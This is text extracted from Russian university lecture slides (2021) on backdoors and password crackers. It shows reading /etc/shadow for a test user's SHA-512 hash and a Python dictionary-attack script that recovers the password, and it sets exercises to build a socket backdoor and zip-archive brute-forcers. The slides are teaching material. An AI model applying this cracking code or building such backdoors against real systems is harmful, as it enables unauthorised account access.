Лекция 4
.pdfБэкдоры |
Переборщики паролей |
|
|
Создание исходных данных
$ sudo useradd user $ sudo passwd user
Enter new UNIX password: ***
Retype new UNIX password: ***
passwd: password updated successfully
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
16/19 |
Бэкдоры |
Переборщики паролей |
|
|
Поиск пары "логин-пароль"
sudo cat /etc/shadow | grep user user:$6$vRHlnz9h$.VPSD...wboE0:18164:0:99999:7:::
здесь
user - имя пользователя
$6$vRHlnz9h$ - соль ($6$ - хеширование по SHA512-алгоритму)
.VPSD...wboE0 - "бессолевой" хеш пароля
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
17/19 |
Бэкдоры |
Переборщики паролей |
|
|
passwd_dict.py (перебор по словарю)
1 import |
crypt |
2 salt = |
' $6$vRHlnz9h$ ' |
3 passwd_hash = '. VPSDd3qL2KW8 / skGsuM9OiSeAHxVJ ' +
4' Tt2FyrjinQ9uCrDA4ReEVjf8t47pQ7 ' +
5' ZC11s5mGxOnECAbo6X4XOwboE0 '
6 with |
open |
( ' 10000 _most_common_passwords . txt ') as h: |
7 for |
l in |
h. readlines (): |
8passwd = l. rstrip ()
9 if ( crypt . crypt ( passwd , salt ) == salt + passwd_hash ):
10print ' Password : ' + passwd
11break
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
18/19 |
Бэкдоры |
Переборщики паролей |
|
|
passwd_dict.py (перебор по словарю)
1 import |
crypt |
2 salt = |
' $6$vRHlnz9h$ ' |
3 passwd_hash = '. VPSDd3qL2KW8 / skGsuM9OiSeAHxVJ ' +
4' Tt2FyrjinQ9uCrDA4ReEVjf8t47pQ7 ' +
5' ZC11s5mGxOnECAbo6X4XOwboE0 '
6 with |
open |
( ' 10000 _most_common_passwords . txt ') as h: |
7 for |
l in |
h. readlines (): |
8passwd = l. rstrip ()
9 if ( crypt . crypt ( passwd , salt ) == salt + passwd_hash ):
10print ' Password : ' + passwd
11break
Password: password123
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
18/19 |
Бэкдоры |
Переборщики паролей |
|
|
Упражнения
1 Реализовать бэкдор на основе UNIX (или сетевых)
сокетов (см. файл avi/socket_backdoor.avi)
2 Реализовать bruteforce-переборщик паролей для взлома zip-архива:
X Исходные данные. Имеется запароленный zip-архив.
XОграничения. Пароль представляет собой
последовательность буквенных символов в нижнем регистре ('a'-'z') длиной не более 4 символов.
XЦель. Подобрать пароль к zip-архиву. Поиск пароля
необходимо производить последовательно (a, b, ..., z, aa, ab, ..., az, ..., za, zb, ..., zz, ..., aaaa, aaab, ..., zzzz).
3Реализовать параллельный bruteforce-переборщик паролей для взлома zip-архива
Браницкий А.А., СПбГУТ |
Лекция 4, Санкт-Петербург, 2021 |
19/19 |